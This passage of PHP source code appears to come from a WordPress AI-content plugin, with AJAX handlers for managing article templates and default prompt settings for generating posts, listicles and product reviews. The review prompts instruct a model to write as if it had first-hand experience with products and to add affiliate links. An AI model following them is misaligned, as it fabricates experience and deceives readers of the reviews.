if($template_name == 'Default Template') { $author_obj = get_user_by('id', $user_id); if($author_obj !== false) { $user_login = $author_obj->ID; } else { aiomatic_log_to_file('Failed to detect current user name: ' . $user_id); $user_login = 1; } $dt = new DateTime(); $datef = $dt->format('Y-m-d H:i:s'); $default_category = get_option('default_category'); $aiomatic_templates = array ( 'title' => '', 'topics' => '', 'submit_status' => 'draft', 'submit_type' => 'post', 'post_sticky' => 'no', 'post_author' => $user_login, 'post_date' => $datef, 'post_category' => array($default_category), 'post_tags' => '', 'language' => 'English', 'writing_style' => 'Creative', 'writing_tone' => 'Neutral', 'sections_count' => 2, 'paragraph_count' => 3, 'model' => 'gpt-4o-mini', 'max_tokens' => 4000, 'temperature' => 1, 'prompt_title' => 'Write a title for an article about "%%topic%%" in %%language%%. Style: %%writing_style%%. Tone: %%writing_tone%%. Must be between 40 and 60 characters.', 'prompt_sections' => 'Write %%sections_count%% consecutive headings for an article about "%%title%%", in %%language%%. Style: %%writing_style%%. Tone: %%writing_tone%%.', 'prompt_content' => 'Write an article about "%%title%%" in %%language%%. The article is organized by the following headings: %%sections%% Write %%paragraphs_per_section%% paragraphs per heading. Use HTML for formatting, include h2 tags, h3 tags, lists and bold. Add an introduction and a conclusion. Style: %%writing_style%%. Tone: %%writing_tone%%.', 'prompt_excerpt' => 'Write an excerpt for an article about "%%title%%" in %%language%%. Style: %%writing_style%%. Tone: %%writing_tone%%. Must be between 150 and 250 characters.' ); } else { $key = 'aiomatic_templates'; $single = true; $aiomatic_templates = get_user_meta( $user_id, $key, $single ); if(!is_array($aiomatic_templates)) { $aiomatic_templates = array(); } if(!isset($aiomatic_templates[$template_name])) { wp_send_json_error( array( 'message' => 'Template name not found in the database' ) ); } $aiomatic_templates = $aiomatic_templates[$template_name]; } } wp_send_json_success( array( 'content' => $aiomatic_templates ) ); die(); } add_action( 'wp_ajax_aiomatic_import_templates_advanced', 'aiomatic_import_templates_advanced' ); function aiomatic_import_templates_advanced() { check_ajax_referer( 'openai-single-nonce', 'nonce' ); if(!isset($_POST['templates'])) { wp_send_json_error( array( 'message' => 'Template json is required!' ) ); } $templates = $_POST['templates']; if(!is_array($_POST['templates'])) { wp_send_json_error(['message' => 'Invalid JSON data']); } $user_id = get_current_user_id(); if($user_id == 0) { wp_send_json_error( array( 'message' => 'No user logged in, cannot find templates!' ) ); } else { $key = 'aiomatic_templates_advanced'; $single = true; $aiomatic_templates = get_user_meta( $user_id, $key, $single ); if(!is_array($aiomatic_templates)) { $aiomatic_templates = array(); } $templates = array_merge($templates, $aiomatic_templates); update_user_meta( $user_id, $key, $templates ); } wp_send_json_success( array( 'status' => 'ok' ) ); die(); } add_action( 'wp_ajax_aiomatic_import_templates', 'aiomatic_import_templates' ); function aiomatic_import_templates() { check_ajax_referer( 'openai-single-nonce', 'nonce' ); if(!isset($_POST['templates'])) { wp_send_json_error( array( 'message' => 'Template json is required!' ) ); } $templates = $_POST['templates']; if(!is_array($_POST['templates'])) { wp_send_json_error(['message' => 'Invalid JSON data']); } $user_id = get_current_user_id(); if($user_id == 0) { wp_send_json_error( array( 'message' => 'No user logged in, cannot find templates!' ) ); } else { $key = 'aiomatic_templates'; $single = true; $aiomatic_templates = get_user_meta( $user_id, $key, $single ); if(!is_array($aiomatic_templates)) { $aiomatic_templates = array(); } $templates = array_merge($templates, $aiomatic_templates); update_user_meta( $user_id, $key, $templates ); } wp_send_json_success( array( 'status' => 'ok' ) ); die(); } add_action( 'wp_ajax_aiomatic_export_templates', 'aiomatic_export_templates' ); function aiomatic_export_templates() { check_ajax_referer( 'openai-single-nonce', 'nonce' ); $aiomatic_templates = array(); $user_id = get_current_user_id(); if($user_id == 0) { wp_send_json_error( array( 'message' => 'No user logged in, cannot find templates!' ) ); } else { $key = 'aiomatic_templates'; $single = true; $aiomatic_templates = get_user_meta( $user_id, $key, $single ); if(!is_array($aiomatic_templates)) { $aiomatic_templates = array(); } } wp_send_json_success( array( 'content' => $aiomatic_templates ) ); die(); } add_action( 'wp_ajax_aiomatic_export_templates_advanced', 'aiomatic_export_templates_advanced' ); function aiomatic_export_templates_advanced() { check_ajax_referer( 'openai-single-nonce', 'nonce' ); $aiomatic_templates = array(); $user_id = get_current_user_id(); if($user_id == 0) { wp_send_json_error( array( 'message' => 'No user logged in, cannot find templates!' ) ); } else { $key = 'aiomatic_templates_advanced'; $single = true; $aiomatic_templates = get_user_meta( $user_id, $key, $single ); if(!is_array($aiomatic_templates)) { $aiomatic_templates = array(); } } wp_send_json_success( array( 'content' => $aiomatic_templates ) ); die(); } add_action( 'wp_ajax_aiomatic_load_template_advanced', 'aiomatic_load_template_advanced' ); function aiomatic_load_template_advanced() { check_ajax_referer( 'openai-single-nonce', 'nonce' ); if(!isset($_POST['template_name'])) { wp_send_json_error( array( 'message' => 'Template name is required!' ) ); } $template_name = sanitize_text_field( stripslashes($_POST['template_name']) ); if(empty($template_name)) { wp_send_json_error( array( 'message' => 'You need to enter a valid template name!' ) ); } $aiomatic_templates = array(); $user_id = get_current_user_id(); if($user_id == 0) { wp_send_json_error( array( 'message' => 'No user logged in, cannot find templates!' ) ); } else { if($template_name == 'Default Template') { $author_obj = get_user_by('id', $user_id); if($author_obj !== false) { $user_login = $author_obj->ID; } else { aiomatic_log_to_file('Failed to detect current user name: ' . $user_id); $user_login = 1; } $dt = new DateTime(); $datef = $dt->format('Y-m-d H:i:s'); $default_category = get_option('default_category'); $aiomatic_templates = array( 'title_advanced' => '', 'posting_mode_changer' => '1a', 'aiomatic_topics_list' => '', 'aiomatic_listicle_list' => '', 'aiomatic_titles' => '', 'aiomatic_youtube' => '', 'aiomatic_roundup' => '', 'aiomatic_review' => '', 'csv_title' => '', 'submit_status_advanced' => 'draft', 'submit_type_advanced' => 'post', 'post_sticky_advanced' => 'no', 'post_author_advanced' => $user_login, 'post_date_advanced' => $datef, 'post_category_advanced' => array($default_category), 'post_tags_advanced' => '', 'title_generator_method1a' => 'ai', 'assistant_id1a' => '', 'title_generator_method6' => 'ai', 'assistant_id6' => '', 'assistant_id1b' => '', 'assistant_id2' => '', 'assistant_id3' => '', 'assistant_id4' => '', 'post_sections_list1a' => '', 'section_count1a' => '3-4', 'sections_role1a' => 'h2', 'paragraph_count1a' => 2, 'topic_images1a' => '', 'img_all_headings1a' => 1, 'heading_img_location1a' => 'top', 'topic_videos1a' => '', 'title_outro1a' => '{In Conclusion|To Conclude|In Summary|To Wrap It Up|Key Takeaways|Future Outlook|Closing Remarks|The Conclusion|Final Thoughts|In Retrospect|The Way Forward|Wrapping Up|Concluding Remarks|Insights and Conclusions}', 'enable_toc1a' => 0, 'title_toc1a' => 'Table of Contents', 'enable_qa1a' => 0, 'title_qa1a' => 'Q&A', 'content_language1a' => 'English', 'writing_style1a' => 'Creative', 'writing_tone1a' => 'Neutral', 'title_prompt1a' => 'Write a title for an article about "%%topic%%" in %%language%%. Style: %%writing_style%%. Tone: %%writing_tone%%. Must be between 40 and 60 characters.', 'topic_title_model1a' => 'gpt-4o-mini', 'intro_prompt1a' => 'Craft an introduction for an article about "%%title%%", in %%language%%. Style: %%writing_style%%. Tone: %%writing_tone%%.', 'topic_intro_model1a' => 'gpt-4o-mini', 'sections_prompt1a' => 'Write %%sections_count%% consecutive headings for an article about "%%title%%" that highlight specific aspects, provide detailed insights and specific recommendations. The headings must be written in %%language%%, following a %%writing_style%% style and a %%writing_tone%% tone. Don\'t add numbers to the headings, hyphens or any types of quotes. Return only the headings list, nothing else.', 'topic_sections_model1a' => 'gpt-4o-mini', 'content_prompt1a' => 'Write the content of a post section for the heading "%%current_section%%" in %%language%%. The title of the post is: "%%title%%". Don\'t add the title at the beginning of the created content. Be creative and unique. Don\'t repeat the heading in the created content. Don\'t add an intro or outro. Write %%paragraphs_per_section%% paragraphs in the section. Use HTML for formatting, include unnumbered lists and bold. If needed, you can use WordPress related CSS styling for the article. When applicable, add also HTML tables with WordPress styling (you can use WordPress table classes). If added, table data must be relevant, creative, short and simple. Writing Style: %%writing_style%%. Tone: %%writing_tone%%.', 'topic_content_model1a' => 'gpt-4o-mini', 'single_content_call-11a' => 0, 'qa_prompt1a' => 'Write a Q&A for an article about "%%title%%", in %%language%%. Style: %%writing_style%%. Tone: %%writing_tone%%.', 'topic_qa_model1a' => 'gpt-4o-mini', 'outro_prompt1a' => 'Write an outro for an article about "%%title%%", in %%language%%. Style: %%writing_style%%. Tone: %%writing_tone%%.', 'topic_outro_model1a' => 'gpt-4o-mini', 'excerpt_prompt1a' => 'Write a short excerpt for an article about "%%title%%" in %%language%%. Style: %%writing_style%%. Tone: %%writing_tone%%. Must be between 150 and 250 characters.', 'topic_excerpt_model1a' => 'gpt-4o-mini', 'strip_by_regex_prompts1a' => '', 'replace_regex_prompts1a' => '', 'run_regex_on1a' => 'content', 'global_prepend1a' => '', 'global_append1a' => '', 'link_type1a' => 'disabled', 'max_links1a' => '', 'link_list1a' => '', 'link_nofollow1a' => 0, 'link_post_types1a' => '', 'max_tokens1a' => '', 'max_seed_tokens1a' => '', 'temperature1a' => '', 'top_p1a' => '', 'presence_penalty1a' => '', 'frequency_penalty1a' => '', 'search_query_repetition1a' => 0, 'enable_ai_images1a' => 0, 'ai_command_image1a' => 'Generate a high-resolution, visually compelling image that creatively interprets the theme encapsulated by this post title: "%%post_title%%". The image should be versatile enough to fit various niches, from technology and lifestyle to nature and science. It should feature a central, eye-catching element that abstractly represents the topic, surrounded by relevant, subtler motifs that provide context and depth. The composition should be balanced and aesthetically pleasing, with a harmonious color palette that complements the mood of the title. The artwork should be suitable for use as a captivating header image for a blog post.', 'model1a' => '1024x1024', 'post_prepend1a' => '', 'post_append1a' => '', 'custom_shortcodes1a' => '', 'strip_title1a' => 0, 'skip_spin1a' => 0, 'skip_translate1a' => 0, 'strip_by_regex1a' => '', 'replace_regex1a' => '', 'post_sections_list6' => '', 'section_count6' => '3-4', 'sections_role6' => 'h2', 'paragraph_count6' => 2, 'topic_images6' => '', 'img_all_headings6' => 1, 'heading_img_location6' => 'top', 'topic_videos6' => '', 'title_outro6' => '{In Conclusion|To Conclude|In Summary|To Wrap It Up|Key Takeaways|Future Outlook|Closing Remarks|The Conclusion|Final Thoughts|In Retrospect|The Way Forward|Wrapping Up|Concluding Remarks|Insights and Conclusions}', 'enable_toc6' => 0, 'title_toc6' => 'Table of Contents', 'enable_qa6' => 0, 'title_qa6' => 'Q&A', 'content_language6' => 'English', 'writing_style6' => 'Creative', 'writing_tone6' => 'Neutral', 'title_prompt6' => 'Write a title for a listicle about "%%topic%%" in %%language%%. The listicle will include %%sections_count%% items. Style: %%writing_style%%. Tone: %%writing_tone%%. Include a specific number in the title to indicate a list. Must be between 40 and 60 characters.', 'topic_title_model6' => 'gpt-4o-mini', 'intro_prompt6' => 'Craft an introduction for a listicle about "%%title%%", in %%language%%. Style: %%writing_style%%. Tone: %%writing_tone%%. Highlight the number of items in the list and what the reader can expect to learn or gain from the listicle.', 'topic_intro_model6' => 'gpt-4o-mini', 'sections_prompt6' => 'Write %%sections_count%% consecutive entries for a listicle about "%%title%%". The entries must be written in %%language%%, following a %%writing_style%% style and a %%writing_tone%% tone. Don\'t use HTML in your response, write only plain text entries, one on each line, as I will use these entries to further create content for each of them. Return only the entries, nothing else.', 'topic_sections_model6' => 'gpt-4o-mini', 'content_prompt6' => 'Write the content of a listicle section for the heading "%%current_section%%" in %%language%%. The title of the post is: "%%title%%". Don\'t add the title at the beginning of the created content. Be creative and unique. Don\'t repeat the heading in the created content. Don\'t add an intro or outro. Write %%paragraphs_per_section%% paragraphs in the section. Use HTML for formatting, include unnumbered lists and bold. If needed, you can use WordPress related CSS styling for the article. When applicable, add also HTML tables with WordPress styling (you can use WordPress table classes). If added, table data must be relevant, creative, short and simple. Act as a Content Writer, not as a Virtual Assistant. Return only the content requested, without any additional comments or text. Writing Style: %%writing_style%%. Tone: %%writing_tone%%.', 'topic_content_model6' => 'gpt-4o-mini', 'single_content_call-16' => 0, 'qa_prompt6' => 'Write a Q&A listicle for an article about "%%title%%", in %%language%%. Style: %%writing_style%%. Tone: %%writing_tone%%. Each question should be clear and engaging, followed by a detailed and informative answer. Use HTML for formatting, include unnumbered lists and bold where applicable. Return only the Q&A content, nothing else.', 'topic_qa_model6' => 'gpt-4o-mini', 'outro_prompt6' => 'Write an outro for a listicle about "%%title%%", in %%language%%. Style: %%writing_style%%. Tone: %%writing_tone%%.', 'topic_outro_model6' => 'gpt-4o-mini', 'excerpt_prompt6' => 'Write a short excerpt for a listicle about "%%title%%" in %%language%%. Style: %%writing_style%%. Tone: %%writing_tone%%. Must be between 150 and 250 characters. Highlight the listicle nature of the article and what readers can expect to find.', 'topic_excerpt_model6' => 'gpt-4o-mini', 'strip_by_regex_prompts6' => '', 'replace_regex_prompts6' => '', 'run_regex_on6' => 'content', 'global_prepend6' => '', 'global_append6' => '', 'link_type6' => 'disabled', 'max_links6' => '', 'link_list6' => '', 'link_nofollow6' => 0, 'link_post_types6' => '', 'max_tokens6' => '', 'max_seed_tokens6' => '', 'temperature6' => '', 'top_p6' => '', 'presence_penalty6' => '', 'frequency_penalty6' => '', 'search_query_repetition6' => 0, 'enable_ai_images6' => 0, 'ai_command_image6' => 'Generate a high-resolution, visually compelling image that creatively interprets the theme encapsulated by this post title: "%%post_title%%". The image should be versatile enough to fit various niches, from technology and lifestyle to nature and science. It should feature a central, eye-catching element that abstractly represents the topic, surrounded by relevant, subtler motifs that provide context and depth. The composition should be balanced and aesthetically pleasing, with a harmonious color palette that complements the mood of the title. The artwork should be suitable for use as a captivating header image for a blog post.', 'model6' => '1024x1024', 'post_prepend6' => '', 'post_append6' => '', 'custom_shortcodes6' => '', 'strip_title6' => 0, 'skip_spin6' => 0, 'skip_translate6' => 0, 'strip_by_regex6' => '', 'replace_regex6' => '', 'model1b' => '1024x1024', 'ai_command1b' => 'Write a comprehensive and SEO-optimized article on the topic of "%%post_title%%". Incorporate relevant keywords naturally throughout the article to enhance search engine visibility. This article must provide valuable information to readers and be well-structured with proper headings, bullet points, and HTML formatting. If needed, you can use WordPress related CSS styling for the article. When applicable, add also HTML tables with WordPress styling (you can use WordPress table classes). If added, table data must be relevant, creative, short and simple. Add an introductory and a conclusion section to the article. You can add also some other sections, when they fit the article\'s subject, like: benefits and practical tips, case studies, first had experience. Please ensure that the article is at least 1200 words in length and adheres to best SEO practices, including proper header tags (H1, H2, H3), meta title, and meta description. Feel free to use a friendly, conversational tone and make the article as informative and engaging as possible while ensuring it remains factually accurate and well-researched.', 'min_char1b' => 500, 'title_model1b' => 'gpt-4o-mini', 'title_ai_command1b' => 'Craft an attention-grabbing and SEO-optimized article title for a dental health blog. This title must be concise, informative, and designed to pique the interest of readers while clearly conveying the topic of the article.', 'title_source1b' => 'keyword', 'headings1b' => '', 'headings_model1b' => 'gpt-4o-mini', 'headings_ai_command1b' => 'Generate %%needed_heading_count%% People Also Ask (PAA) related questions, each on a new line, that are relevant to the topic of the post title: "%%post_title%%".', 'images1b' => '', 'videos1b' => 0, 'headings_list1b' => '', 'images_list1b' => '', 'global_prepend1b' => '', 'global_append1b' => '', 'link_type1b' => 'disabled', 'max_links1b' => '', 'link_list1b' => '', 'link_nofollow1b' => 0, 'link_post_types1b' => '', 'max_tokens1b' => '', 'max_seed_tokens1b' => '', 'max_continue_tokens1b' => '', 'temperature1b' => '', 'top_p1b' => '', 'presence_penalty1b' => '', 'frequency_penalty1b' => '', 'search_query_repetition1b' => 0, 'enable_ai_images1b' => 0, 'ai_command_image1b' => 'Generate a high-resolution, visually compelling image that creatively interprets the theme encapsulated by this post title: "%%post_title%%". The image should be versatile enough to fit various niches, from technology and lifestyle to nature and science. It should feature a central, eye-catching element that abstractly represents the topic, surrounded by relevant, subtler motifs that provide context and depth. The composition should be balanced and aesthetically pleasing, with a harmonious color palette that complements the mood of the title. The artwork should be suitable for use as a captivating header image for a blog post.', 'post_prepend1b' => '', 'post_append1b' => '', 'custom_shortcodes1b' => '', 'strip_title1b' => 0, 'skip_spin1b' => 0, 'skip_translate1b' => 0, 'strip_by_regex1b' => '', 'replace_regex1b' => '', 'default_lang2' => '', 'max_caption2' => 3000, 'ai_titles2' => 0, 'post_sections_list2' => '', 'section_count2' => '3-4', 'sections_role2' => 'h2', 'paragraph_count2' => 2, 'topic_images2' => '', 'img_all_headings2' => 1, 'heading_img_location2' => 'heading', 'topic_videos2' => 0, 'title_outro2' => '{In Conclusion|To Conclude|In Summary|To Wrap It Up|Key Takeaways|Future Outlook|Closing Remarks|The Conclusion|Final Thoughts|In Retrospect|The Way Forward|Wrapping Up|Concluding Remarks|Insights and Conclusions}', 'enable_toc2' => 0, 'title_toc2' => 'Table of Contents', 'enable_qa2' => 0, 'title_qa2' => 'Q&A', 'content_language2' => 'English', 'writing_style2' => 'Creative', 'writing_tone2' => 'Neutral', 'title_prompt2' => 'Generate a title for a blog post discussing the topics covered in the YouTube video titled: "%%video_title%%", in %%language%% language. Style: %%writing_style%%. Tone: %%writing_tone%%. Must be between 40 and 60 characters.', 'topic_title_model2' => 'gpt-4o-mini', 'intro_prompt2' => 'Write an introduction for a blog post which talks about the topics discussed in the YouTube video with the following title: "%%video_title%%", in %%language%%. Style: %%writing_style%%. Tone: %%writing_tone%%. The YouTube video has the following transcript: "%%video_captions%%"', 'topic_intro_model2' => 'gpt-4o-mini', 'sections_prompt2' => 'Write %%sections_count%% consecutive headings that highlight specific aspects, provide detailed insights and specific recommendations for a blog post which talks about the topics discussed in the YouTube video with the following title: "%%video_title%%", in %%language%%. Style: %%writing_style%%. Tone: %%writing_tone%%. Don\'t add numbers to the headings, hyphens or any types of quotes. Return only the headings list, nothing else. Extract ideas from the following video transcript: "%%video_captions%%"', 'topic_sections_model2' => 'gpt-4o-mini', 'content_prompt2' => 'Write the content of a post section for the heading "%%current_section%%" in %%language%%. The title of the post is: "%%video_title%%". Don\'t repeat the heading in the created content. Don\'t add an intro or outro. Be creative and unique. Write %%paragraphs_per_section%% paragraphs in the section. Use HTML for formatting, include unnumbered lists and bold. If needed, you can use WordPress related CSS styling for the article. When applicable, add also HTML tables with WordPress styling (you can use WordPress table classes). If added, table data must be relevant, creative, short and simple. Writing Style: %%writing_style%%. Tone: %%writing_tone%%. Extract content from the following video transcript: "%%video_captions%%"', 'topic_content_model2' => 'gpt-4o-mini', 'single_content_call-12' => 0, 'qa_prompt2' => 'Write a Q&A for a blog post which talks about the topics discussed in the YouTube video with the following title: "%%video_title%%", in %%language%%. Style: %%writing_style%%. Tone: %%writing_tone%%. The YouTube video has the following transcript: "%%video_captions%%"', 'topic_qa_model2' => 'gpt-4o-mini', 'outro_prompt2' => 'Write an outro for a blog post which talks about the topics discussed in the YouTube video with the following title: "%%video_title%%", in %%language%%. Style: %%writing_style%%. Tone: %%writing_tone%%. The YouTube video has the following transcript: "%%video_captions%%"', 'topic_outro_model2' => 'gpt-4o-mini', 'excerpt_prompt2' => 'Write a short excerpt for a blog post which talks about the topics discussed in the YouTube video with the following title: "%%video_title%%" in %%language%%. Style: %%writing_style%%. Tone: %%writing_tone%%. Must be between 150 and 250 characters. The YouTube video has the following transcript: "%%video_captions%%"', 'topic_excerpt_model2' => 'gpt-4o-mini', 'strip_by_regex_prompts2' => '', 'replace_regex_prompts2' => '', 'run_regex_on2' => 'content', 'global_prepend2' => '', 'global_append2' => '', 'link_type2' => 'disabled', 'max_links2' => '', 'link_list2' => '', 'link_nofollow2' => 0, 'link_post_types2' => '', 'max_tokens2' => '', 'max_seed_tokens2' => '', 'max_continue_tokens2' => '', 'temperature2' => '', 'top_p2' => '', 'presence_penalty2' => '', 'frequency_penalty2' => '', 'search_query_repetition2' => 0, 'enable_ai_images2' => 0, 'ai_command_image2' => 'Generate a high-resolution, visually compelling image that creatively interprets the theme encapsulated by this post title: "%%post_title%%". The image should be versatile enough to fit various niches, from technology and lifestyle to nature and science. It should feature a central, eye-catching element that abstractly represents the topic, surrounded by relevant, subtler motifs that provide context and depth. The composition should be balanced and aesthetically pleasing, with a harmonious color palette that complements the mood of the title. The artwork should be suitable for use as a captivating header image for a blog post.', 'model2' => '1024x1024', 'post_prepend2' => '', 'post_append2' => '', 'custom_shortcodes2' => '', 'strip_title2' => 0, 'skip_spin2' => 0, 'skip_translate2' => 0, 'no_random2' => 0, 'strip_by_regex2' => '', 'replace_regex2' => '', 'affiliate_id3' => '', 'source3' => 'com', 'min_price3' => '', 'max_price3' => '', 'max_products3' => '3-4', 'sort_results3' => 'none', 'shuffle_products3' => 1, 'first_hand3' => 0, 'sections_role3' => 'h2', 'paragraph_count3' => 2, 'topic_images3' => 1, 'no_headlink3' => 0, 'topic_videos3' => 0, 'title_outro3' => '{Experience the Difference|Unlock Your Potential|Elevate Your Lifestyle|Embrace a New Era|Seize the Opportunity|Discover the Power|Transform Your World|Unleash Your True Potential|Embody Excellence|Achieve New Heights|Experience Innovation|Ignite Your Passion|Reveal the Extraordinary}', 'enable_toc3' => 0, 'title_toc3' => 'Table of Contents', 'enable_qa3' => 0, 'title_qa3' => 'Q&A', 'enable_table3' => 0, 'content_language3' => 'English', 'writing_style3' => 'Creative', 'writing_tone3' => 'Neutral', 'title_prompt3' => 'Write a title for a product roundup blog post which talks about the following products: %%all_product_titles%%, %%all_product_info%%, in %%language%% language. Style: %%writing_style%%. Tone: %%writing_tone%%. Must be between 40 and 60 characters.', 'topic_title_model3' => 'gpt-4o-mini', 'intro_prompt3' => 'Write an intro for a blog post which talks about the following products: %%all_product_titles%%, %%all_product_info%%, in %%language%%. The title of the post is "%%post_title%%". Style: %%writing_style%%. Tone: %%writing_tone%%.', 'topic_intro_model3' => 'gpt-4o-mini', 'content_prompt3' => 'Write the content of a post section describing the product "%%product_title%%" in %%language%%. Include pros and cons of the product. Don\'t repeat the product title in the created content. Don\'t add an intro or outro. Write %%paragraphs_per_section%% paragraphs in the section. Use HTML for formatting, include unnumbered lists and bold. When applicable, add also HTML tables with WordPress styling (you can use WordPress table classes). If added, table data must be relevant, creative, short and simple. Writing Style: %%writing_style%%. Tone: %%writing_tone%%. %%first_hand_experience_prompt%% Extract content from the following product description: "%%product_description%%"', 'topic_content_model3' => 'gpt-4o-mini', 'qa_prompt3' => 'Write a Q&A for a blog post with the following title: "%%post_title%%", in %%language%%. Style: %%writing_style%%. Tone: %%writing_tone%%. The blog post describes and compares multiple products: %%all_product_titles%%', 'topic_qa_model3' => 'gpt-4o-mini', 'outro_prompt3' => 'Write an outro for a blog post with the following title: "%%post_title%%", in %%language%%. Style: %%writing_style%%. Tone: %%writing_tone%%. The blog post describes and compares multiple products: %%all_product_titles%%', 'topic_outro_model3' => 'gpt-4o-mini', 'excerpt_prompt3' => 'Write a short excerpt for a blog post with the following title: "%%post_title%%", in %%language%%. Style: %%writing_style%%. Tone: %%writing_tone%%. The blog post describes and compares multiple products: %%all_product_titles%%', 'topic_excerpt_model3' => 'gpt-4o-mini', 'table_prompt3' => 'Generate a HTML product comparison table, for a product review blog post. The post has the following title: "%%post_title%%", in %%language%%. Style: %%writing_style%%. Tone: %%writing_tone%%. Point Of View: %%point_of_view%%. Don\'t add the entire description as a table entry, but instead, extract data from it, make matches between multiple products, be creative and also short and simple. The table must be in a WordPress friendly format and have modern styling (you can use WordPress table classes). Detail product information: %%all_product_info%%', 'topic_table_model3' => 'gpt-4o-mini', 'strip_by_regex_prompts3' => '', 'replace_regex_prompts3' => '', 'run_regex_on3' => 'content', 'global_prepend3' => '', 'global_append3' => '', 'link_type3' => 'disabled', 'max_links3' => '', 'link_list3' => '', 'link_nofollow3' => 0, 'link_post_types3' => '', 'max_tokens3' => '', 'max_seed_tokens3' => '', 'max_continue_tokens3' => '', 'temperature3' => '', 'top_p3' => '', 'presence_penalty3' => '', 'frequency_penalty3' => '', 'search_query_repetition3' => 0, 'enable_ai_images3' => 0, 'ai_command_image3' => 'A high detail image with no text of: "%%post_title%%"', 'model3' => '1024x1024', 'post_prepend3' => '', 'post_append3' => '', 'custom_shortcodes3' => '', 'strip_title3' => 0, 'skip_spin3' => 0, 'skip_translate3' => 0, 'strip_by_regex3' => '', 'replace_regex3' => '', 'affiliate_id4' => '', 'source4' => 'com', 'post_sections_list4' => '', 'section_count4' => '3-4', 'sections_role4' => 'h2', 'paragraph_count4' => 2, 'topic_images4' => 1, 'no_headlink4' => 0, 'topic_videos4' => 0, 'title_outro4' => '{Experience the Difference|Unlock Your Potential|Elevate Your Lifestyle|Embrace a New Era|Seize the Opportunity|Discover the Power|Transform Your World|Unleash Your True Potential|Embody Excellence|Achieve New Heights|Experience Innovation|Ignite Your Passion|Reveal the Extraordinary}', 'enable_toc4' => 0, 'title_toc4' => 'Table of Contents', 'enable_reviews4' => 0, 'title_reviews4' => 'Customer Reviews Analysis', 'enable_proscons4' => 0, 'title_proscons4' => 'Pros & Cons', 'enable_qa4' => 0, 'title_qa4' => 'Q&A', 'content_language4' => 'English', 'writing_style4' => 'Creative', 'writing_tone4' => 'Neutral', 'title_prompt4' => 'Write a title for a product review blog post of the following product: "%%product_title%%", in %%language%% language. Style: %%writing_style%%. Tone: %%writing_tone%%. Point of View: %%point_of_view%%. The title must be between 40 and 60 characters. The description of the product is: "%%product_description%%".', 'topic_title_model4' => 'gpt-4o-mini', 'intro_prompt4' => 'Write an introduction for a product review blog post of the following product: "%%product_title%%". The post is reviewing the product "%%product_title%%", in %%language%% language. Style: %%writing_style%%. Tone: %%writing_tone%%. Point of View: %%point_of_view%%. Write as if you had first-hand experience with the product you are describing. The description of the product is: "%%product_description%%".', 'topic_intro_model4' => 'gpt-4o-mini', 'sections_prompt4' => 'Write %%sections_count%% consecutive headings for a product review article of the "%%product_title%%" product, that starts with an overview, highlights specific features and aspects of the product, provides detailed insights and specific recommendations. The headings should be written in %%language%%, following a %%writing_style%% style and a %%writing_tone%% tone. Point of view: %%point_of_view%%. Don\'t add numbers to the headings, hyphens or any types of quotes. Write as if you had first-hand experience with the product you are describing. Return only the headings list, nothing else.', 'topic_sections_model4' => 'gpt-4o-mini', 'content_prompt4' => 'Write the content of a product review post, for the following section heading: "%%current_section%%". The post is reviewing the product "%%product_title%%" in %%language%%. Don\'t repeat the product title in the created content, also don\'t be repetitive in general. Don\'t add an intro or outro. Write %%paragraphs_per_section%% paragraphs in the section. Use HTML for formatting, include unnumbered lists and bold. When applicable, add also HTML tables with WordPress styling (you can use WordPress table classes). If added, table data must be relevant, creative, short and simple. Writing Style: %%writing_style%%. Tone: %%writing_tone%%. Point Of View: %%point_of_view%%. Extract content from the following product description: "%%product_description%%".', 'topic_content_model4' => 'gpt-4o-mini', 'reviews_prompt4' => 'Write the content of a "Customer Reviews Analysis" section for a product review blog post for the following product: "%%product_title%%". The title of the blog post is: "%%post_title%%", in %%language%%. Style: %%writing_style%%. Tone: %%writing_tone%%. Point Of View: %%point_of_view%%. Use HTML for formatting. When applicable, add also HTML tables with WordPress styling (you can use WordPress table classes). If added, table data must be relevant, creative, short and simple. List of customer reviews: "%%product_reviews%%".', 'topic_reviews_model4' => 'gpt-4o-mini', 'proscons_prompt4' => 'Write the content of a "Pros & Cons" section for a product review blog post for the following product: "%%product_title%%". The title of the blog post is: "%%post_title%%", in %%language%%. Style: %%writing_style%%. Tone: %%writing_tone%%. Point Of View: %%point_of_view%%.Use HTML for formatting. When applicable, add also HTML tables with WordPress styling (you can use WordPress table classes). If added, table data must be relevant, creative, short and simple. Product description: "%%product_description%%".', 'topic_proscons_model4' => 'gpt-4o-mini', 'qa_prompt4' => 'Write the content of a Q&A section for a product review blog post for the following product: "%%product_title%%". The title of the blog post is: "%%post_title%%", in %%language%%. Style: %%writing_style%%. Tone: %%writing_tone%%. Point Of View: %%point_of_view%%. Product description: "%%product_description%%".', 'topic_qa_model4' => 'gpt-4o-mini', 'outro_prompt4' => 'Write an outro for a product review blog post, for the product: "%%product_title%%". The post has the following title: "%%post_title%%", in %%language%%. Style: %%writing_style%%. Tone: %%writing_tone%%. Point Of View: %%point_of_view%%. Product description: "%%product_description%%". Add also an engaging final call to action link, in a clickable HTML format (don\'t use markdown language), leading to the link of the product: "%%aff_url%%".', 'topic_outro_model4' => 'gpt-4o-mini', 'excerpt_prompt4' => 'Write a short excerpt for a product review blog post, for the product: "%%product_title%%". The post has the following title: "%%post_title%%", in %%language%%. Style: %%writing_style%%. Tone: %%writing_tone%%. Point Of View: %%point_of_view%%. The excerpt must be between 100 and 150 words.', 'topic_excerpt_model4' => 'gpt-4o-mini', 'strip_by_regex_prompts4' => '', 'replace_regex_prompts4' => '', 'run_regex_on4' => 'content', 'global_prepend4' => '', 'global_append4' => '', 'link_type4' => 'disabled', 'max_links4' => '', 'link_list4' => '', 'link_nofollow4' => 0, 'link_post_types4' => '', 'max_tokens4' => '', 'max_seed_tokens4' => '', 'max_continue_tokens4' => '', 'temperature4' => '', 'top_p4' => '', 'presence_penalty4' => '', 'frequency_penalty4' => '', 'search_query_repetition4' => 0, 'enable_ai_images4' => 0, 'ai_command_image4' => 'A high detail image with no text of: "%%post_title%%"', 'model4' => '1024x1024', 'post_prepend4' => '', 'post_append4' => '', 'custom_shortcodes4' => '', 'skip_spin4' => 0, 'skip_translate4' => 0, 'strip_by_regex4' => '', 'replace_regex4' => '', 'csv_separator5' => '', 'strip_title5' => 0, 'skip_spin5' => 0, 'skip_translate5' => 0, 'random_order5' => 0, 'strip_by_regex5' => '', 'replace_regex5' => '', 'link_type5' => 'disabled', 'max_links5' => '', 'link_list5' => '', 'link_nofollow5' => 0, 'link_post_types5' => '', 'image_model1a' => 'dalle2', 'image_model1b' => 'dalle2', 'image_model2' => 'dalle2', 'image_model3' => 'dalle2', 'image_model4' => 'dalle2', 'image_model6' => 'dalle2', ); } else { $key = 'aiomatic_templates_advanced'; 